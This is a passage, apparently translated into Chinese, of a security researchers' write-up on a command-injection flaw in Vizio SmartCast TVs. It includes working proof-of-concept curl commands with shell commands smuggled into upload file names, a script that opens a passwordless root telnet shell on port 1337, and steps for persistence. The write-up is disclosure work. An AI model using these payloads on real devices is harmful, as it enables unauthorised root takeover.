ViziOwn - 利用Vizio SmartCast平台
作为Exploitee.rs团队成员,我们对智能电视并不陌生,曾经成功利用过索尼、三星、LG和Vizio等品牌的电视。由于疫情期间被困在室内,除了看电视、玩游戏、耐心等待疫情结束外,就是研究之前购买的物联网设备。恰逢原始Exploitee.rs团队成立十周年,还有什么比发布电视预认证漏洞更好的庆祝方式呢?
请注意,本文详细介绍了不同型号电视软件组件中的远程代码执行机制,这些电视在软件堆栈和CPU/SOC方面各不相同,但恰好存在共同的漏洞。
SmartCast OS
Vizio最新的尝试是使用其"SmartCast OS",该系统通过利用Chromium(Chrome浏览器的开源版本)以及基于HTML和JavaScript的界面,来利用"Google Cast"/Chromecast生态系统。实际上,设备上的几乎所有应用程序(Disney+、Hulu、YouTube等)都是在Chromium内启动的网页。这提供了一定的安全性,因为通过将环境沙盒化在浏览器中,可以避免某些攻击。然而,添加供应商需要(可能不安全)的API会迅速创建不安全的环境。下面我们将重点介绍一个此类API的使用和利用。
漏洞发现
首先,我们从一个简单的网络扫描开始分析。
请忽略端口22和5555,因为这些端口是在事后打开的。
nmap虽然很强大,但有一个简单的"诅咒":默认只扫描1000个端口。让我们尝试使用完整端口范围再次扫描。
注意:我们在扫描中添加了参数-p1-65535
这次我们看到了一些额外的端口,特别是7345、8005、50403。
nmap还有有用的"-A"参数
-A:启用操作系统检测、版本检测、脚本扫描和路由跟踪
使用"-A"重新运行nmap扫描将为我们提供在这些端口上运行的服务的简单指纹识别。
在上面的图像中,我们可以看到端口7345正在运行一个带有SSL端口开放的Web服务器。
HTTPS,未找到页面……越来越接近了
我们在浏览器中打开地址和端口,并注意到我们从Web服务器收到了有效的HTTPS响应(尽管是404)。通过利用另一个漏洞(将在以后发布)进一步枚举,并借助一点运气,我们找到了电视的/scpl/接口。
上面很有趣,因为Web服务器有一个诊断接口,很可能还提供其他Web服务。
利用SmartCast Web服务
如前所述,我们确实对这个系统有更直接的利用(将在修补后适时发布),我们利用它来转储电视的整个文件系统。因此,我们有了可以用于探索的文件和二进制文件。
在"scpl"目录中挖掘,利用早期从固件转储中获取的文件系统知识,对文件运行strings命令的粗略运行将我们带到了"/install"端点,从这个"SCPL Sideload"html文件。
templates/install.html
然后我们继续使用curl向实际电视上的/install发出测试请求。
1
2
|
curl "https://10.0.0.106:7345/install" -k -d "data=123"
<html><body>INCORRECT FILE</body></html>
|
上面的请求产生了有趣的输出"INCORRECT FILE",我们使用上面的html文件重新创建文件上传请求,利用"scpl_tgz_package"作为变量名,我们得到了这个信息丰富的输出。
1
2
3
4
5
6
7
|
curl -F scpl_tgz_package=@./'file' "https://10.0.0.106:7345/install" -k
<html><body>SCPL Install Package: file <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/file -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: exec gunzip: No such file or directory
tar: read error
<br><br><br>Failure with installation, see logs</body></html>
|
基于上面的输出,似乎服务正在设备上运行基于"scpl_tgz_package"(文件名)输入的命令,而我们可以控制这个输入!尝试简单的命令注入:
1
2
3
4
5
6
|
curl -F scpl_tgz_package=@./'test`id`.tgz' "https://10.0.0.106:7345/install" -k
<html><body>SCPL Install Package: test`id`.tgz <br>
RUNNING CMD: rm -rf /data/tv/tmp/scpl_install; mkdir /data/tv/tmp/scpl_install<br><br>
RUNNING CMD: tar -xvzf /data/tv/tmp/test`id`.tgz -C /data/tv/tmp/scpl_install<br>
CMD ERROR: tar: /data/tv/tmp/testuid=0(root): No such file or directory
<br><br><br>Failure with installation, see logs</body></html>
|
执行上面的命令,我们的文件名被解析并执行,导致响应中的文件名部分出现"uid=0(root)"。我们有了命令注入!
SmartCast漏洞利用RCA
一旦进入系统并提取固件,我们就可以开始挖掘以了解这一切是如何工作的。我们找到了一个在7345端口上服务的lighttpd配置。
配置的相关片段可以在下面找到
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
$SERVER["socket"] == ":7345" {
ssl.engine = "enable"
ssl.pemfile = basedir + "/lighttpd/scpl-server.pem"
# ssl.ca-file = basedir + "/lighttpd/cast_cacert.pem"
}
alias.url = (
"/static" => basedir + "/lighttpd/static",
)
url.rewrite-once = (
"^(/static.*)$" => "$1",
"^(/.*)$" => "/restapp.fcgi$1",
)
|
在上面,我们可以看到Web服务器将任何"/static"前缀的URL传递给"restapp.fcgi"。
然后我们检索restapp.fcgi文件的内容。
1
2
3
4
5
6
7
8
9
10
|
#!/bin/sh
###############################################################################
# launch SCPL with logwrapper
# invoked via lighttpd/lighttpd.conf
###############################################################################
export SCPL_ROOT=`/bin/cat /tmp/scpl_root`
export LD_LIBRARY_PATH=$SCPL_ROOT/lib:$LD_LIBRARY_PATH
exec /system/bin/logwrapper $SCPL_ROOT/lighttpd/scpl.sh
|
在上面,我们可以看到"restapp.fcgi"脚本只是"scpl.sh" shell脚本的包装器。
然后我们cat"scpl.sh"脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
#!/bin/sh
###############################################################################
# launch SCPL
# invoked via lighttpd/restapp.fcgi
###############################################################################
export SCPL_ROOT=`/bin/cat /tmp/scpl_root`
# vzservices
#PYTHONPATH=/data/debug/vzservices/lib:/application/vzservices/lib
# bluetooth
PYTHONPATH=$PYTHONPATH:/system/bin/bluetooth/lib
# scpl
PYTHONPATH=$PYTHONPATH:/system/lib:$SCPL_ROOT/lib
export PYTHONPATH
export AWS_DATA_PATH=$SCPL_ROOT/site-packages/botocore
LD_LIBRARY_PATH=$SCPL_ROOT/lib:/system/bin/bluetooth/lib:$LD_LIBRARY_PATH
export LD_LIBRARY_PATH
echo $$ > /var/run/manage.pid
exec $SCPL_ROOT/bin/manage runfcgi method=threaded
|
现在这变得更有趣了。脚本"scpl.sh"执行"manage"二进制文件。“manage"二进制文件是一个18MB的文件,看起来像是pyinstall-like创建的ELF。这个二进制文件在其数据部分有一堆打包的.pyc文件和一个python解释器。以前从未遇到过这种格式,我们启动了一个十六进制编辑器来进一步调查。
深入兔子洞:
这些字符串看起来很熟悉,我们在之前的测试中看到过一些。我们似乎越来越接近漏洞的真正根本原因。
提取.pyc文件需要更多的努力,因为在上述代码块周围是ascii”“字符串。提取这些,并为Python 2.7字节码标记,允许uncompyle6完成其工作。
之前:
1
2
3
4
5
6
|
00000000 01 0c 01 0f 02 00 00 00 63 00 00 00 00 00 00 00
00000010 00 03 00 00 00 40 00 00 00 73 9d 00 00 00 64 00
00000020 00 64 01 00 6c 00 00 6d 01 00 5a 01 00 01 64 00
00000030 00 64 02 00 6c 02 00 6d 03 00 5a 03 00 01 64 00
00000040 00 64 03 00 6c 04 00 6d 05 00 5a 05 00 01 64 00
00000050 00 64 04 00 6c 06 00 6d 07 00 5a 07 00 01 64 00
|
之后:
1
2
3
4
5
6
|
00000000 03 f3 0d 0a ab 02 1f 60 63 00 00 00 00 00 00 00
00000010 00 03 00 00 00 40 00 00 00 73 9d 00 00 00 64 00
00000020 00 64 01 00 6c 00 00 6d 01 00 5a 01 00 01 64 00
00000030 00 64 02 00 6c 02 00 6d 03 00 5a 03 00 01 64 00
00000040 00 64 03 00 6c 04 00 6d 05 00 5a 05 00 01 64 00
00000050 00 64 04 00 6c 06 00 6d 07 00 5a 07 00 01 64 00
|
反编译"manage"二进制文件
我们现在可以深入研究相关的实际函数。因为我们知道触发代码执行漏洞的请求是一个post请求。我们从post处理程序开始
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
def post(self, request, property=None):
logger.info('POST')
if request.FILES.get('scpl_tgz_package', None):
_file = request.FILES.get('scpl_tgz_package')
_output = ''
logger.info('SCPL Install Package: %s', _file)
_output += 'SCPL Install Package: %s <br>' % _file
try:
_response = ''
_file_and_path = ('{path}/{filename}').format(path=SystemPath.PATH.SCPL_TMP(), filename=_file)
_extract_location = '%s/scpl_install' % SystemPath.PATH.SCPL_TMP()
_install_script = _extract_location + '/install.sh'
self.handle_uploaded_file(_file, _file_and_path)
_cmd = 'rm -rf %s; mkdir %s' % (_extract_location, _extract_location)
_continue, _log = self._run_cmd(_cmd)
_output += _log
if not _continue:
raise Exception('Failure with installation, see logs')
_cmd = ('tar -xvzf {download_location} -C {extract_location}').format(download_location=_file_and_path, extract_location=_extract_location)
_continue, _log = self._run_cmd(_cmd)
|
在上面的代码中,如果有一个"scpl_tgz_package"发布的值,它将”_file"变量设置为它。在变量赋值之后,处理程序继续获取"_file"值并将其附加到存储在"_file_and_path"中的路径。然后,在最后几行,处理程序将来自_file的输入传递给"_file_and_path"到"_run_cmd"以用于tarball提取操作。
然后我们定位"_run_command"定义以检查任何嵌入式过滤。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
def _run_cmd(self, cmd):
logger.info('RUNNING CMD: %s', cmd)
_output = 'RUNNING CMD: %s<br>' % cmd
try:
_output += subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True, universal_newlines=True)
_output = _output.replace('\n', '<br>')
_output += '<br>'
logger.info('CMD OUTPUT: %s', _output)
except subprocess.CalledProcessError as exc:
logger.info('CMD ERROR: %s' % exc.output)
_output += 'CMD ERROR: %s<br>' % exc.output
return (False, _output)
return (True, _output)
|
https://docs.python.org/3/library/subprocess.html
上面利用子进程库的check_output函数来执行命令。由于这是以root用户身份运行的,没有权限分离,我们最终获得完全root访问权限。
注意:上面的代码还有其他一些有趣的地方,另一个利用途径可以通过恶意的install.sh文件与文件名中的命令注入来利用。
漏洞利用PoC
这是一个针对大部分Vizio SmartCast电视的预认证远程漏洞利用,允许(持久)root代码执行。
注意/警告:
这目前可以持续到有更新为止,需要添加功能以防止更新。有几种类型的更新,操作系统更新(包括内核和大部分文件系统)、UI更新 - 包括二进制文件、JSON配置文件、HTML页面和应用程序更新。加上一些其他更新类型(Chrome、AppleTV等)。这似乎是安全的,并且在我们这边已经运行了几周没有问题。总是有可能出现问题,所以请谨慎使用,如果出现问题,我们不承担任何责任。根据您的电视型号,您可能需要尝试第二个POC。漏洞利用仍然有效,但有效负载可能需要不同。可能"高端"(SX7等)设备和"低端"设备(MT588X)之间存在相关性。如果第一个不起作用,请尝试第二个,然后加入我们的discord让我们知道!
上面有关于漏洞的详细说明,但该过程可以总结为Web服务器POST请求处理程序中的简单命令注入。对于我们的示例,我的电视在"10.0.0.106",在所有以下示例中将其替换为您的电视的IPv4地址。
有一个非常简单的方法来使用这个,在您的网络上访问下面的页面并输入您的电视的IPv4地址,然后按照说明操作。它将使用查询自动在您的电视上启用sshd。或者,如果您想了解发生了什么,请使用下面的curl命令。
点击这里为您的SX7电视获取root权限
上面链接的页面将执行一个更具容错性的交互式方法启用sshd。您仍然需要手动确保它持久化,通过按照下面的说明操作。
自动方式
或者,简单的bash一行程序然后ssh进入的方式:
1
2
3
4
5
|
touch 'exploiteers`start sshd`.tgz' && curl -F scpl_tgz_package=@./'exploiteers`start sshd`.tgz' "https://10.0.0.106:7345/install" -k
# 然后,SSH进入
ssh root@10.0.0.106
cat build.prop | grep fingerprint
|
概念验证
这是在2018年PQ65-F1上测试的,工作良好可靠。它应该以相同的方式在其他型号(ro.board.platform=sx7)上工作。然而,对于某些型号,这可能需要进行调整,因为它们可能没有设备上的sshd二进制文件。
其他型号。相同的漏洞利用。不同的有效负载(MT588X)
例如,在D32F-G1上,漏洞利用有效,但有效负载需要不同,因为您可能会显示错误,例如:
1
|
RUNNING CMD: tar -xvzf /3rd_rw/sc-data/tmp/exploiteers`sshd`.tgz -C /3rd_rw/sc-data/tmp/scpl_install<br>CMD ERROR: /bin/sh: sshd: command not found
|
漏洞利用仍然以root身份运行,但是sshd守护进程没有启动,因为它不存在。我要感谢我们discord上的riptide_wave测试了这个,所以我们可以为不同的板/型号提供另一个工作的POC。
这些设备(可以通过其ro.board.platform值"MT5581VHBJ"识别)具有相同的漏洞,但软件堆栈不同,因此,我们需要调整有效负载。下面的有效负载将推送一个"busybox"二进制文件和脚本。然后提取、运行它并启动"telnetd"守护进程。
下载MT5581有效负载和脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
#!/bin/sh
IP=10.0.0.106
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar'
touch 'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar'
echo "Pushing binaries..."
curl -F scpl_tgz_package=@./'exploiteers.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Extracting binaries..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && tar xfv exploiteers.tar`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Executing script..."
curl -F scpl_tgz_package=@./'exploiteers`cd .. && cd .. && cd .. && cd .. && cd 3rd_rw && cd sc-data && cd tmp && sh install.sh`.tar' "https://$IP:7345/install" -k -H "Expect: "
echo "Try telnet on port 1337"
|
exploiteers.tar包含:
来自:https://busybox.net/downloads/binaries/1.21.1/busybox-armv7l的"busyboxv7"
“install.sh"包括:
1
2
3
4
|
#!/bin/sh
echo pwd
chmod 777 /3rd_rw/sc-data/tmp/busyboxv7
/3rd_rw/sc-data/tmp/busyboxv7 telnetd -p 1337 -l /bin/sh
|
由于有许多电视受到此漏洞的影响,运行不同的软件堆栈,您可能会遇到问题。如果是这样,请加入我们的discord,我们将尽力提供帮助!
持久化修改
要使有效负载持久化,您需要在连接后进行一些额外的更改。
首先将"run_console_onoff.sh"文件拉到本地。
1
2
|
#copy the run_console_onoff.sh script locally to edit
scp run_console_onoff.sh root@10.0.0.106:/system/bin/run_console_onoff.sh .
|
现在,编辑文件。注意下面图像中在if之前添加的"start sshd"行?进行更改但注意您的行尾!然后,保存文件,重新挂载分区为RW,并将文件推回并重新启动。
修改后的run_console_onoff.sh
1
2
3
4
5
6
7
8
9
10
11
|
#remount the TV /system RW
ssh root@10.0.0.106
mount -o,remount rw /system
exit
scp run_console_onoff.sh root@10.0.0.106:/system/bin/
#reconnect to the TV
ssh root@10.0.0.106
#remount /system ro and reboot
mount -o,remount ro /system
reboot
|
超越Root
我们经常面临这个问题:
我们在这个设备上有代码执行?太棒了。现在我们可以用它做什么?
答案是一切,又什么都不是。钥匙在社区手中,以想出一些惊人的、杀手级的东西,或者只是有另一个有root权限的设备占用空间。
我的一些痛点和想法包括:
- 自动内容识别(ACR)数据 - 我的哪些数据被发送了,我如何防止它?
- 我可以添加新的"应用程序”(主要是网页)吗?
- 我可以玩DOOM吗?
- Xumo和Crackle到底是什么,为什么我一直按这个按钮?为什么不是Hulu或其他我更喜欢